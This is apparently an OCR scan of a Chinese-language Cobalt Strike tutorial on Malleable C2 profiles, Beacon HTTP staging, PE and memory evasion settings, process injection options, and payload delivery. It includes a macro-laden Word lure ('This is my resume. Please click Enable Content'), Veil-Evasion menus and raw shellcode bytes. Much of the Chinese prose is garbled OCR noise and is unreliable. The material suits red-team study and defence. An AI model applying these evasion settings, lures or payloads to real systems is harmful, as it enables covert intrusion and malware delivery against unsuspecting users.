A9 Cobalt Strike Web BRZZ28UZ! uri/foobar B GET i53K/5. B4, THEEM

ESPIRIGTEE.
Step Action Data
0. Start
1. | header "Cookie" Recover from Transaction user=bWVOYWRhdGE=
2. prepend "user=" Remove first 5 characters bWVOYWRhdGE=
3.  base64d Base64 Decode metadata



header IERIEERHEAIRIIRS 2SS IIREEHRISRITEIRAINE. HTTP RS
R RERAFAEITHRE HTTP ZFumhdinsk, FE TR, BAIFELE prepend
56, ATIRSEREINENE, F1E prepend EREHMIERET X NFR[2], H
o X REAIBIRNFISFFFERIRE. WE, R THMERRERE—MEY
base64, F{1Z R base64 JriSERERALRTTENRE. BITE, Bl IER base64
REISRIRETTERE3].

header IEAISEIRIRS AAM TS EIRERITTEGRE1]. HTTP IRSSs0AE4
FAREITRE HTTP 2wty head, Tk, HIFEGLIERLIEEG., AT
IREEEHRAVEE, TS prepend FEREAMIBRAET x DFAF2], b x 2HAIFR
FoEBRIRIRFATRIRE. e, RRTHEREE—FKIEG base64 7, Ffl)
LARU{ER base64 fmiBEREKILIRTTEGE. IMIE, BAIfERA base6s FBEKIKE
TCEGE(3],

—BEEREXHHRESETHEITENREIEDRE, HIMSRERA T
Data Transform Language

IR IR — R A EIERIES .. SUREIETR:

Statement Action Inverse
append "string" Append "string" Remove last LEN("string") characters
base64 Base64 Encode Base64 Decode
base64url URL-safe Base64 Encode URL-safe Base64 Decode
mask XOR mask w/ random key XOR mask w/ same random key
netbios NetBIOS Encode 'a' NetBIOS Decode 'a'

netbiosu NetBIOS Encode 'A' NetBIOS Decode 'A'



prepend "string" Prepend "string" Remove first LEN("string") characters

IR HMRXEEGMIESHERERINFRIES. F1a0, EaTLIGEREE R
AUEEREIHT NetBIOS 4mi3, FTAINI—EER, ARNENBIIT base64 Iy

=R

HHREIB R INEOER, EERPREEER—MRINES. WESR
Beacon REIRS RS S TRYAFIEERATETE.

BIUNMRILEAER:

Statement What
header "header" Store data in an HTTP header
parameter "key" Store data in a URI parameter
print Send data as transaction body
uri-append Append to URI

S | HEAIGEEEFEHOSURIZHETE HTTP sLoh, S8R I LB B IRSIEIES
fE7E HTTP 28(h. IWWSHIALIESN URI —ZBD&IX. print IBEIESESIEX
AR EAERIISIE.

print B2 http-get.server.output, http-post.server.output ]

http-stager.server.output SRESFREALR IEIEG), EETLANSEhER{EER header,

parameter, print #] uri-append termination {4,
NERFE http-post.client.output R header, £%£§8; uri append
termination iE4), beacon £EEHIMM S HE—MSEIHKE, LUENESH

—5



XL HR XSRS R A o 48,

Strings

Beacon B3 Profile Language SSIFSEZ M ER “strings” . BE, FFF

ERERED-is, (B, BRILIEFFFERPER—E45KE:

Value Special Value
"\n" Newline character
"\r" Carriage Return
"\t" Tab character
"\udHHHE" A unicode character
"\x#t" A byte (e.g., \x41 ="A")
"\\" \

Headers and Parameters

R IR R E R ERERAERERD . ENIHEXS Beacon EEBNSSH

~

IRAIEBIEI ISR TIE. AL SS RN NS,

£ HTTP GET & POST i&3kH, XLETERAETFLARRE S 2RIz,

EREFRRPISEETSESSEGHRINE HTTP GET 8 POST &5,
LtARBEEE] Beacon FEAHIEKATHE ?bar=blah i#I0%Z| /foobar URI &,
http-get {

client {

parameter "bar" "blah";



(B FimEiRSS SR FRILEDBER HTTP LRIIEIE FinhiEKEARSS
RRAUMBM A, WARSKERRID Y — MEtR.
http-get {

server {

header "X-Not-Malware" "I promise!";

B X 4RI RINFHRLEOMSEIES. BRiRiR, Wininet E (ZH
) #0 Cobalt Strike Web BRSS 23X EISHMER S P HIMAINEGTRLZRE
.

1EIR

ERLABSECE X HECE Beacon HIENAE. BRFPEERNAIN: £BFIAHIE
. ®FRIEENEF Beacon IRE., NMUAMZEFETHSH, BWIRELE

Ry £ X R EAUIEI,
{£F set IEQIREIEIN,

set "sleeptime” "1000";

LA 2 5] IR
Option Context Default Value Changes
o (Attempt to) disable AMSI
amsi_disable false

execute-assembly, powerpick, and psinject

IP address used to indicate no tasks
dns_idle 0.0.0.0 available to DNS Beacon; Mask for other [
C2 values



dns_max_txt

dns_sleep

dns_stager_prepend

dns_stager_subhost

dns_ttl

host_stage

jitter

maxdns

pipename

pipename_stager

sample_name

sleeptime

spawnto_x86

spawnto_x64

tcp_port

uri

uri_x86
uri_x64

useragent

verb

http-get,
http-post

http-stager

http-stager

http-get,
http-post

252

.stage.123456.

1

true

255

msagent_##

status_##

My Profile

60000

%windir%\syswow64\rundll32.exe

%windir%\sysnative\rundll32.exe

4444

[required option]

Internet Explorer (Random)

GET,
POST

Maximum length of DNS TXT responses
tasks

Force a sleep prior to each individual L
request. (in milliseconds)

Prepend text to payload stage delivered
DNS TXT record stager

Subdomain used by DNS TXT record stager.
TTL for DNS replies

Host payload for staging over HTTP, HTTPS
DNS. Required by stagers.

Default jitter factor (0-99%)

Maximum length of hostname when uploac
data over DNS (0-255)

Name of pipe to use for SMB Beacc
peer-to-peer communication. ## is repla
with a number unique to your team server.

Name of pipe to use for SMB Beacon's nan
pipe stager. ## is replaced with a number.

The name of this profile (used in the Indicat
of Compromise report)

Default sleep time (in milliseconds)

Default x86 program to open and inj
shellcode into

Default x64 program to open and inj
shellcode into

TCP Beacon listen port

Transaction URI

x86 payload stage URI
x64 payload stage URI

Default User-Agent for HTTP comms.

HTTP Verb to use for transaction



S5H uri &I, ALUESA uri IBEA— 1o RAV=RrE8, Cobalt Strike Ay
Web [RSEE81G48EMBEIXLE URI, FH7EHEE Beacon ERETEEH— URI 53

B4/ Beacon E#1,

RIfSEF(E useragent JEIL; AT LAEA header IEG)RBZIIEIR,

Beacon HTTP Transaction

AT EIEXYME—IE, BT 7#E Beacon ESHIMILAKR B MERAIEZN
R,

24 Beacon [ Cobalt Strike By Web fgZ284H HTTP GET 153kES, EEME
FHia. RS, Beacon WIKIX AEBXZIERASEHITEIE.

IR SIETTEUERNENEUE blob, iRBERE, BERNESTELS URI 58+
&1, AR base64, base64url 5 netbios BN TR TG,
Cobalt Strike A9 Web BR525(F Beacon HUTAUES SRR Z L HTTP GET, iX
TR RAIEIER— NI blob &iXH). ERILME HTTP GET HIBRSS

27 {5 output KIEFIFIRILER.

2 Beacon HIfTEHESAS, BoERmE. THRFIEESE, Beacon 2IGER
BEERENGHLY. MRSEHY, Beacon &HNEIRIRE. WNREHE,

Beacon &2 HTTP POST 53K,

HTTP POST 53k /B & URI SEEHRLFRIZTE ID. Cobalt Strike fERLL
ERBHESERINSIEEXREK. KEHNRNESRIZINZRIZ#HE blob, &8
LASEFS http-post B9 Fim LAY output XEFIRIRIIER.



Cobalt Strike B9 Web RS E5rIeSMA{E{AiEKAY HTTP POST, Beacon A
SiaaERLER. SRILUER http-post AIBRSS#F_ERY output XEFFEE

HTTP POST RYitH.

T2 B http-get BRAEF GET, T http-post ERIA{ER POST, {BIEA

MR TIXLIRI. ERMAEIENXERANE. XEARANRELE.

R T IR N RIXAYEE:

Request Component Block Data
http-get client metadata Session metadata
http-get server output Beacon's tasks
http-post client id Session ID
http-post client output Beacon's responses
http-post server output Empty
http-stager server output Encoded payload stage
HTTP Staging

Beacon E— 1o MERAIBENET. XEKEEEH stager FHFFEAR
7. BN E+HHE Beacon ZgI, HTTP GET #1 HTTP POST 1B AL,

Malleable C2 B9 http-stager SREJEENX HTTP SEITTE,
http-stager {
set uri_x86 "/get32.gif";

set uri_x64 "/get64.gif";



1% uri_x86 iEINIZE URI & x86 FIEETTMIER. 1Z uri_x64 1EINIZE URI
T& 64 I BETTNER.
client {

parameter "id" "1234";

header "Cookie" "SomeValue";

http-stager ERY client XEFEN T HTTP FBSME ik, (£ parameter
REFGSEGHINEZ URI b, £/ header KiE=1GH5LIRINE] stager AY HTTP

GET 15k,
server {
header "Content-Type" "image/gif";
output {
prepend "GIF89a";

print;



HTTP stager LR TAY server XEFENT HTTP S=5AIBRSS 251m, header
KEFIEIRSS 2R LNINZIARSS2RAUMMM A, HTTP stager fR55=8 LAY output %
EFEATEER BN BRAEEEE, iRie RN RAM IR,
PR TEDZR I ETE Q)RR R,

HTTP Headers

http-config $-%¢ Cobalt Strike B9 Web ARSSESIRMAIRTE HTTP A ERE R/,

EXR, EaTLIEERM HTTP x50 HTTP Rk,
http-config {

set headers "Date, Server, Content-Length, Keep-Alive, Connection,

Content-Type";
header "Server" "Apache”;
header "Keep-Alive" "timeout=5, max=100";

header "Connection" "Keep-Alive";

header X§#=79 cobalt strike B9 HTTP aRL7i0— ™ header (B2, Y0EMM

NPEEEX TiRKE, NRIKZE.

set headers IEIHEEXLE HTTP SL1E HTTP MM PRIEEITT., ATELFIRH

RO AT RRRERG A INZIREE.



{6 SSL Beacon BB EBIEH

HTTPS Beacon EE &S {EH HTTP Beacon BYi5~7F. Malleable C2 fic&
XAEHARILAIERE Beacon C2 fRS3E3IBE R SSLUERAISEL. tNSREE SSLUE
HhESHEEHE—ISR{Y actor, XIEFEEH:

https-certificate {
set CN "bobsmalware.com”;

set O "Bob's Malware";

EXHHIRSER S

Option Example Description
C us Country
CN beacon.cobaltstrike.com Common Name; Your callback domain
L Washington Locality
0] Strategic Cyber LLC Organization Name
ou Certificate Department Organizational Unit Name
ST DC State or Province
validity 365 Number of days certificate is valid for

{6 SSL Beacon BB SSL iEH

AT %ISR SSL IS Beacon —#2(FH, {85 Malleable C2 ER& {4
18%E Java BEENANZERS, WEHEEVRESIEBAOFATE, RIEH, FEs
EREBLAR: SSL UF B A iR Aa0iEsiEH, Cobalt Strike E1E5 Malleable

C2 Fe & HEREIAVS 4T3 El Java Keystore 3T14,



https-certificate {
set keystore "domain.store”;

set password "mypassword";

{ERBM SSLIEBRISHE:

Option Example Description
keystore domain.store Java Keystore file with certificate information
password mypassword The password to your Java Keystore

DI TE8z2 T Cobalt Strike #8 Beacon f9E% SSLIFHAEE::

1.6 keytool F2RElIE Java ERIFEX M. X MEFRIRA (REVER R
A? " RS SRS ERINAL Beacon fRSSEE. BIb, BIRIRIC FE
REEBR. RLUESFEET.

$ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store

2.{#F keytool ERIERERIBK (CSR) . EMIGAY SSLIERANASIRAZLE
M. I ISIIEER B O F AL BN EE RN A E S ZTIEE.

$ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store
SN SSL R EHRMAY Root FYERIHERES.

$ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore

domain.store



$ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore

domain.store

mE, #EXE., FIMEBE— a5 Cobalt Strike B9 Beacon —#Z{ERRY

Java Keystore 3214,

KBEERIED

Attacks -> Packages -> Windows Executable and Windows
Executable (S) AERAEZFTHITIUHEL DLL SUHRUIETR, ZEEFAILIRLT,

WRER IS S 2 UEEFIFATEISRE Java Keystore 324, Cobalt Strike ZEE7E

5 Malleable C2 Ee& 3 HHERERIS4TEH#LE] Java Keystore 3744,
code-signer {

set keystore "keystore.jks";

set password "password";

set alias "server";

ABERIERIRES:

Option Example Description

alias server The keystore's alias for this certificate

digest_algorithm SHA256 The digest algorithm


https://www.youtube.com/watch?v=6uRa6zCLXbM
https://www.youtube.com/watch?v=6uRa6zCLXbM

keystore keystore.jks Java Keystore file with certificate information

password mypassword The password to your Java Keystore
timestamp false Timestamp the file using a third-party service
timestamp_url http://timestamp.digicert.com URL of the timestamp service

PE and Memory Indicators
Malleable C2 FEE 34+ HY stage tRiztH Beacon AN EINFHF4miE
Beacon DLL AR,
stage {
set userwx "false”;
set compile_time "14 Jul 2009 8:14:00";
set image_size x86 "512000";
set image_size x64 "512000";

set obfuscate "true";

transform-x86 {

prepend "\x90\x90";

strrep "ReflectiveLoader" "DolLegitStuff";

transform-x64 {



# transform the x64 rDLL stage
stringw "l am not Beacon!";

BERRIERZIGF T8RN0 beacon dIl BY.rdata B33 AIAR<. string ap<iRAN
&

—PMUABERRIFRIER. stringw agiRd T —PEE (utf-16le Jri3) FFFER.
data apIEREERINFRTER.

Transform-x86 #[1 Transform-X64 fHLE PAD # Transform Beacon A&7
DLL fEZ, XEERZIE=1dp<: prepend. append # strrep,

prepend S 7E beacon BI&ET dIl ZEHEA—NFRTE. append GS7E
beacon-reflective dll [FELRIN—NFRFER, HIRFRSTHERIFAISURERM RIKR
ZEHY (x86. x64) HIBXUNIS. c2lint BFmSBEXLHITIEE, strrep &

2 beacon 57 dll =T,

stage BIESZJLNEH Beacon DLL REAYIEIN, FHEMMES Beacon [ETINE

BTN
Option Example Description
checksum 0 The CheckSum value in Beacon's PE header
Ask Beacon to attempt to free memory associated with the Reflective
cleanup false

package that initialized it.

compile_time 14 July 2009 8:14:00 = The build time in Beacon's PE header



entry_point
image_size_x64
image_size_x86

module_x64

module_x86

name

obfuscate

rich_header

sleep_mask

stomppe

userwx

92145
512000
512000

xpsservices.dll

xpsservices.dll

beacon.x64.dll

false

false

true

false

Cloning PE Headers

The EntryPoint value in Beacon's PE header
SizeOflmage value in x64 Beacon's PE header
SizeOflmage value in x86 Beacon's PE header
Same as module_x86; affects x64 loader

Ask the x86 ReflectiveLoader to load the specified library and overwrite
space instead of allocating memory with VirtualAlloc.

The Exported name of the Beacon DLL

Obfuscate the Reflective DLL's import table, overwrite unused header conte
and ask ReflectiveLoader to copy Beacon to new memory without its |
headers.

Meta-information inserted by the compiler
Obfuscate Beacon, in-memory, prior to sleeping

Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it lo
Beacon payload

Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL
memory

Cobalt Strike 89 Linux {48 81F— 1T H peclone, FBFM) dil IREEL

HHEEETRA

.Jpeclone [/path/to/sample.dll]

RFHRRIHEEEFNR;

NRERT BT FRRYRMTERER

{53 stage block §Y prepend &KL HT, 1ZR2TTIEARFERIEILANF

TIUEHEAN DLLBIAFS. MRERSET TREIFAHERENNAE, BER

strrep G SEREA .



YR strrep A5, 515 sleep_mask iRE /S true, XSE[ Beacon fEiH N\EEIR
WEZRIERFEHHITEMGIE, ERIRZS, Beacon £X1H S TEE ML
BLLERFIAEESS. SMB # Beacon SESSIMEENSEREFTIIEIE
R TIRRARL IR,

REEFBENEPELRE— DLLEHE, BAGBEESERN, S5
stomppe IRE /I false, WNREIBERNTFFIEREIE Beacon DLL, 5
stomppe B true, MREBERXIHkEL, 1515 obfuscate iIRE A true, it

BEIEREGF 2 BSRIRE Beacon MYERFIAIFH DLL BRI

15 userwx iIRE A false LAif)[a) Beacon AYNNEESLAERELL RWX I RH#IT. B
BXLERRIIAEERIES e e o thfiiR e~ RAYEI T,

BUABER T, Beacon HUNNEFER#M VirtualAlloc HEERTE. ERIREES—
%R, 45 module x86 iRE /9 DLL, 1% DLL KX#J2 Beacon B REHASHY
. Beacon R x86 NIEEISINEIEERT DLL, ERFHKICHNE, HE
ET. XE—IE Beacon BF Windows SHiEE ERISIREAIRERRTTT %,
BB BRI FITEF AT EERRAY DLL, EEHIE module_x64 HEIEH

Ef9, (HESEN x64 Beacon,

ANERIEIRINMERTZHHIEA Beacon DLL Y Beacon fiER, 515 cleanup 28

7 true, BARBFER, WETUEERS Beacon HERIBXEARINTE.

Process Injection

Malleable C2 EeEHFRIFFEENRATLIEANRBFHEHIEENITA.



process-inject {
set min_alloc "16384";
set startrwx "true”;

set userwx "false";

transform-x86 {

prepend "\x90\x90";

transform-x64 {

# transform x64 injected content

disable "CreateRemoteThread";

transform-x86 #[] transform-x64 fH1E Beacon ;EAHJ PAD R, XLtbthriE

RS prepend # append,



prepend S STEIBANNBZBIEA—NERE. append S FANAS
ZIERII— R, IR ESIFIEIERIE AR SIRZREEN (x86. x64)
BN, c2lint ZFKENLtHTIRE,

1% disable IFAIR— MRS, LABRIE beacon RIS EAPIREPERAF L
API H9R7R, A LAZEFS: SetThreadContext, CreateRemoteThread ]
RtiCreateUserThread, &F=E, HEERAXLERR, SAJ8E&1E Beacon

RIAREENGIREPS INAERAIRM. c2lint ook —EES

process-inject HIEZ M= Beacon HRRUITREIENAYIEIN:

Option Example Description
min_alloc 4096 Minimum amount of memory to request for injected content
startrwx true Use RWX as initial permissions for injected content. Alternative is RW.
userwx false Use RWX as final permissions for injected content. Alternative is RX.

B sEfEEE, Malleable C2 2 swimming pool

BEREMA? WEEH. Malleable C2 AIRM T IIWEFIENHEIRIEHIE
B, BTXMIR, HEHEMZME. Malleable C2 thE2—MEIRZ{EIRAILM
7. SEEENEENHE, FEZRLUT/LR:

1.8 Cobalt Strike LA —REEB—MECEN M. WNIREENECE S FEINE
FECEX M, NLARTERER) Beacons TESEIBSE,

2 IR T WREHERIINS AR A R ERRBI N ST . g0, dNSRIGME
Fi base64 RISTEURFHEHFMHEE— uri 284, BBATCEEER. St



4? —5 base64 FF (+. =. F1/) £ URL BhE4HE X, c2lint TEF] Profile

Compiler A& MIXLESERIRY A,

3RS/ YRR, BENESRIECE S 4. QI5R Beacon TiXERERE, &
BERSHEREXHRIRE. wIEHEL.

415fE 2lint T, X TRENTREXHRES, KLMEORMRXTTA

RUSEHES =N, SR c2lint EXW, NFRFEHEEHFERIERRE.

Malleable Command and Control Demo

i~fcobaltstrike# . /c2lint ~/Malleable-C2-Profiles/APT /havex.profile




HTTP/1.1 268 0K
Server: Apache/f{Z..Z./70 (Unix)
I-Powered-By: PHP/S. 3. 28

Cache-Control: no-cache

Content-Type: text/himl
Keep
Content-Length: 238 ][

Alive: timeoul }, max=1080

<html><head><mega http-equiv="CACHE-CONTROL ' content="NO-CACHE '></head>=<body>

equest. <!--havexkVabt IWEdhUEYSLYRES9 Lk TupaHB8TgKVoy jkvat QCWRHeS 7 Gk y JORGD

havex--></body></html>

[+]
1+l
I+l
[+]
[+]
[+]
[+]
[+]
1+l
I+l
[+]
1+]
1+]
[+]
[+]
[+]
[+]
(R

POST 3x check passed

.http-get.server,output size is good

http-get.client size is good

Jhttp-post,.client size is good

Jhttp-get.client.metadata transform+mangle+recover passed (1 byte[s])
http-get.client.metadata transform+mangle+recover passed (100 byte[s])
http-get.client.metadata transform+mangle+recover passed (128 byte[s])
http-get.client.metadata transform+mangle+recover passed (256 byte[s])
Jhttp=-get.server.output transform+mangle+recover passed (0 byte[s])
Jttp-get.server.output transformsmangle+recover passed (1 byte[s])
Jhttp-get.server.output transform+mangle+recover passed (48248 byte([s])
http-get,server,output transform+mangle+recover passed (1048576 byte[s])
Jhttp-post.client,id transform+mangle+recover passed (4 byte[s])
Jhttp-post,.client.output transform+mangle+recover passed (0 byte[s])
Jhttp-post.client,output transform+mangle+recover passed (1 byte[s])
Jhttp-post.client.output transform+mangle+recover passed (48248 byte[s])
Jhttp-post,.client.output transform+mangle+recover passed (1048576 byte[s]
https-certificate options are missing [will use built-in S55L cert]

i~fcobaltstrike# . /teamserver 192.168.1.2 password ~/Malleable-C2-Pro

*] Generating X509 certificate and keystore (for SSL)




‘user computer

‘external internal =~
Event Log xl Listeners X
name payload

MNew Listener . 0

Create a listener.

Name: focal - beacon http |
Payload: [windwﬂhn:nn_t_rttﬂmcm_http - |
Host:  [152,168.1.2 . |
Port: (80 I ===

1!“

external

(intern al =

user computer

Event Log X | Listeners X

PowerShell Web Delivery T

This attack hosts a PowerShell script that delivers a Cobalt
Strike listener. The provided one-liner will allow you to

URI Path: /a

|
Local Host: [192.168.1.2 r
Local Port: (80 f
Listener:  Hocal - beacon http | w




axternal internal = user computer
‘" 192.168.1.11 172.16.20.174 whatta hogg COPPER

Event Log :-{- Listaners X | Beacon 172.16.20.174@5672 X

heacon> sleep 30 20
[*] Tasked beacon to sleep for 30s (20 jitter)

t~# wireshark




[+] host called home, sent: 16 bytes
beacon> shell dir
[*] Tasked beacon to run: dir

W N m N ~ TJ T T T X |=II=N T
Filter] http and tcp.port == 80 Expression... Clear Aj Save
do. Time Sour ['"":'?'1' ation R Mark Packet (toggle)
14, /0083000 192,168,1.11 192.168,1.2 k
10 14.77430100 192.168.1.2 192.168.1.11 B Ignore Packet (toggle)
55 44.73432100 192.168.1.11 192.168.1.2 K B Thes B e
58 44,73902800 192.168.,1.2 192.168.1.11 k :
Time Shift
BO 73.BOOBO700 192.168.1.2 192.168.1.11 k
g5 73.8S021500 192.168.1.11 192.168.1.2 K
OB 73.87886500 192.1€8.1.2 192.1€68.1.11 E  Packet Comment

Manually Resolve Addre

Apply as Filter

Oramasra = Eiléas



Stream Content
el il Bt S bR b i el bl LR B
Referer http://www.google.com
Accept: text/xml, app?lcatinn;xml .application/xhtml+xml, text/html;q=0.9, text/
plain;q=0.8,1mage/png, */*;q=0.5
Accept-Language: en-us,en;q=0.5
Cookie: IfjLzGZddTnrcllwPaTOfI/VmhkFMHKeJuhvEA4z6)f+B8f IRLUSZILMfLTglqld)EGp2z0yQleDvaY
+snTOkq) /dB+tBZNG) pInnPFcEpOQUI33UrI Qi Tduh/
rfPBKuYQk OvK 3FCzCelwdr LPhQvu] 41 xbSWCHSNSb91A] xentTCk=
User-Agent: Mozilla/5.0 (windows; U; MSIE 7.0; wWindows NT 5.2) Java/1.5.0_08
Host: 192.168.1.2
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.,1 200 OK

Content-Type: text/html

Date: Fri, 18 Sep 2015 05:20:53 GMT
Server: Apache/2.2.26 (Unix)
X-Powered-By: PHP/S5.3.28
Cache-Control: no-cache

Keep-Alive: timeout=3, max=100
Content-Length: 194

<html><head><mega http-equiv='CACHE- CONTROL' contents='NO-CACHE' >< headubud
data corresponding your request.<|--havexbqEiERaaTiaSSuIsita e
kGeXnY =EVL >¢fbndy>:;html:

| Entire conversation (956 bytes)

Make Token

NZl[beacon] - > Access - > Make Token, #F+JFF Cobalt Strike g9 Make

Token SHFIE, IHEIER R Cobalt Strike FUELR, FHIGFME EiEE R S,
Microsoft Word #1 Excel ZI{EH
Microsoft Office = TEEE R — 1N Z=LAERAZE Microsoft Word &} Microsoft

Excel 3x#7b, #HAZE| Attacks -> Packages -> MS Office Macro

ERE—MIFEE, SRS Generate §JiEER MS Office 7=, Cobalt Strike 1§

RALZ LU, BRERAEI Word B, Excel 328,

SER LR T SOERNE TR, WEERERL



MS Word #1 Excel I

File Action View Help

e 2@ =BT

I Local Computer Poiicy | S ——

a4 & Computer Configura

b 5 Software Seiti Select an itemn to view its description.  Setting

b ] Windows Setting
» B Administrative T¢
4 g, User Configuration
» ] Software Settings
b ] Windows Setting
4 | Administrative Ty
» ] Control Panel
b ] Desktop
p ] Network
| Shared Foldes

1 Logon

| Performance Control Panel

| Power Management

) Removable Storage Access

) Scripts

| User Profiles

) Windows HotStart

i, Download missing COM components
1] Century interpretation for Year 2000
I Restrict these programs from being launched from Help
1] Don't display the Getting Started welcome screen at logi
1] Custom User Interface

i) Prevent access to the command prompt

I, Prevent access to registry editing tools




List of

(¥ox_) (come ]

permission to run

[rograms that you

programs that are
es not prevent
nager, which are
esses. Also, if users

e, this setting does |

¢ command

window that they are not permitted to start by using Windows

Explorer.

i

[ e[

- & I l -

1



Not Con Comment: i -

Enabled
(2 Disabled

Supported on: At jeast Windows 2000 ‘

Options: Help:
. — Limits the Windows programs that users have permission to run
List o lowed sppicstions | Showe] Ll
If you enable this setting, users can only run programs that you
add to the List of Allowed Applications.

This setting only prevents users from running programs that are
started by the Windows Explorer process. It does not prevent
users from running programs such as Task Manager, which are
started by the system process or by other processes. Also, if users
have access to the command prompt, Cmd.exe, this setting does
not prevent them from starting programs in the command
window that they are not permitted to start by using Windows
Explorer,

I,
. W



TightVNC: Demo: Windows 7 (MSE AV)

Cobalt Strike View Attacks Reporting Help
ﬂ n H { HTML Application & = l 7]
external LU R i Office Macro S bmputer note pid la
Spear Phish Payload Generator “§
USB/CD AutoPlay
Windows Dropper

Windows Executable

Windows Executable (S)

Event Log X

This package generates a VBA macro that you may -
embed into a Microsoft Word or Excel document. This

-l = =l

externa note

P ol F i A s == Vil ds

Listener: 'ec2 - beacon hitp - _; | Add |

Gerjyate | Help




acro Instructions

Follow these steps to add this Macro to a Microsoft Word or Excel document:

. Open Microsoft Word or Excel

. Go to View -> Macros -> View Macros

. Change Macros iin to the current file

. Give your macro a name (any name is OK)

. Click Create

. Clear the editor

. Press Copy Macro to copy the macro to your clipboard.
. Paste the macro

, Close the macro editor window

. Save the document as a macro-enabled document

SDWH&U‘I-&MM:—*

i| H9-0- Documentl - Microsoft Word

-Hm Insert  Pagelayout  References mm mrﬁ

B m 3 web Layout  [7] Ruler Q , llonepage =B Newwindow 1) =

[ outline [ Gridiines Two Pages Arrange All o
Print | Full Screen Zoom mu»\r. W 3

| Reading 35 Drant [ Navigation Pane 8 Page Width | [J spiit S
Document Views Show | Zoom Window FE Vies
Rec

|il@ Pau

This is my resume. Please click Enable Contentfto see it.



HMacros M "

iiignlln — ‘:::
J=I Step Into I
Edit
_ooee |
.:] Organizer...
mt |Document1 (document) =
I
Gl |

d A aBA 90 » ua S5 > @ waco

l—l Private Type PROCESS_INFORMATION i

i hProceas As Long

t (Document1) hThread As Long
osoft Word Objects dwProcessId As Long
hules dwThreadId As Long
NewMacos End Type

Brences

Private Type STARTUPINFO
cb As Long
lpResarved As String
lpDesktop As String
1pTitle As String
dwX As Long
dw¥ As Long
dwXSize As ng
dw¥Size As Long
dwiCounctChars As Long
dw¥CountChars As Long
dwFillAttribute A® Long
dwFlaga As Long
wShowWindow As Integer
cbReserved? As Integer
lpReservedZ2 As Long
hStdInput As Long
hStdOucput As Long
hScdError As Long

- »f




 Host a file through Cobalt Strike's web server

File: |C:\Users\raffi\Desktop\resume. doc
Local URL:  |/~raffi/resume.doc
Local Host: ‘ads.losenolove.com|




JE N E=Z¢ BE,U GO P IS

external internal user computer note pid

| ouccess M= ]

Started service: host file
Copy and paste this URL to access it

[nttp://ads.losenolove.com:80/~raff/ré

o G|
Event Log KE _i{.‘f

Payload Generator

Cobalt Strike A Payload Generator #iHiRCHEF0 artifacts, 1§ Cobalt Strike

WIEREEREIEN £, TLUEERBSRE msfvenom Y Cobalt Strike b7,
EE R EWAE, 5 A\Z Attacks - > Packages - > Payload Generator,
¥ Listener IR E NEHEBHAMAEM Cobalt Strike Listener,

{£F3 Output iEEEEERTIHER. KSR NZIESRASIVLA

F1EERT shellcode, BJLMNETRILALEZEMER

Option What?
COM Scriptlet A .sct file to run a listener
PowerShell PowerShell script to run shellcode
PowerShell Command PowerShell one-liner to run a Beacon stager.
Raw blob of position independent shellcode.
Veil Custom shellcode suitable for use with the Veil Evasion Framework.

& “Use x64 payload " 1EAF%MITEs4 ) x64 stager,


https://www.veil-framework.com/

i 1T Beacon B Veil Evasion Framework:

EObARStrike oW A110 - Beporing Help e ——————

oa o méT» spplication i 0 ®

exl@rma ’ ' Fr" notée pig 1

Event Log




m.m—w-w T S [ W ———

1B O EE¢ BLSL BehD Pa N

external intearnal = user computer note pid last

Payload Generator e 0 e

This dialog generates a payload to stage a Cobalt Strike
listener. Several output options are available

Listener: |ec2 - beacon http v ||l Add

Ot paut VEli g : -

' Genersle Help |

L3 —

Event Log X

14 | ; 3 i
i=/Veil-Evasion# . /Veil-Evasion.py I




L
23) powershell/shellcode inject/download virtual
Ly powershell/shellcode inject/psexec virtual
25) powershell/shellcode inject/virtual

26) python/meterpreter/bind tcp

27) python/meterpreter/rev_http

28) python/meterpreter/rev http contained

29) python/meterpreter/rev https

30) python/meterpreter/rev_https contained

i1} python/meterpreter /rev Lop

32) yython/shellcode inject/aes encrypt

13) python/shellcode inject/aes encrypt HITPKEY Request
34) python/shellcode inject/arc encrypt

35) python/shellcode inject/basebd4 substitution

36) python/shellcode inject/des encrypt

3/) python/shellcode inject/download inject

i8) python/shellcode inject/flat

39) python/shellcode inject/letter substitution
40) python/shellcode inject/pidinject

41) ruby/meterpreter/rev _http

42) ruby/meterpreter/rev http contained
43) ruby/meterpreter/rev https

44) ruby/meterpreter/rev _https contained
45) ruby/meterpreter/rev tcp

46) ruby/shellcode inject/basebtd

47) ruby/shellcode inject/flat

[menu>>1:1 use 320




Payload: python/shellcode inject/aes encrypt loaded

Required Options:

Name Current Value Description

COMPILE TO EXE Compile to an executable

EXPIRE PAYLOAD Optional: Payloads expire after "Y"
INJECT METHOD ‘ Virtual, Void, Heap

USE PYHERION Use the pyherion encrypter

Available Commands:

set Set a specific option value

info Show information about the payload
options Show payload's options

generate Generate payload

back Go to the main menu

exit exit Veil-Evasion

[python/shellcode inject/aes encrypt>>]: generate I

[T] Use msfyenom or supply custom shellcode?

asald

shel Loade <t Lndg
- tlle with shellcode [(raw)

[*] Please enter the number of your cholce: 2
[=] Please enter custom shellcode {one Line, no quotes, wxbd.., format):

SR AE ) veil 1) poc:



[=] Please enter the number of your cholce: 2

|=] Please enter custom shellcode (one Line, no gquotes, Yxbo., format): ‘afcixed\z89\x00\x00% x00h 2605 289 xe
b3 ed 2% oA x B x5 2% 300 B x5 2% x0ch xBb\ x5 2w 1 xBb\ a7 2 e 2B a0 P b P xdat w265 x I x F w3 Dhoec D wac e 3o xb 1 e 7
WO A 20 ne e Fhafdy 0 e e 2 FOaS 2 e ST aBh e SE e 10 x8b xd 2 x 3o 0 L ed @ x8b\ wd 04 x TEY xBS\ xc@x 74 14
Wl edD xS0 x8h x4 8% x 1B xBh A xSE 20 kD hxd 3 ge 3 v I x A9\ xBhhx 34 kB x D \adb e Il x w3 vz xachxclhxe el
ad v MAEIB ael W E FSNE TV kB vE fdsa TE s 3b\ x Al 24 M e v B8 s8h g H8 2 M\ 20 1w ed3 v sbb \ xBh v sy xdb\ gBby 258 x 1
WEB D\ ed 3 xBbh x 04\ xBby 201 xd 0\ 2B A4\ 2 24 224\ 2 5bA\ x5bY 16 LA x5O Sa\ kS 1 e T Fyred 2 58\ 15F \xhat xBbh x 12\ xeb 286 x5
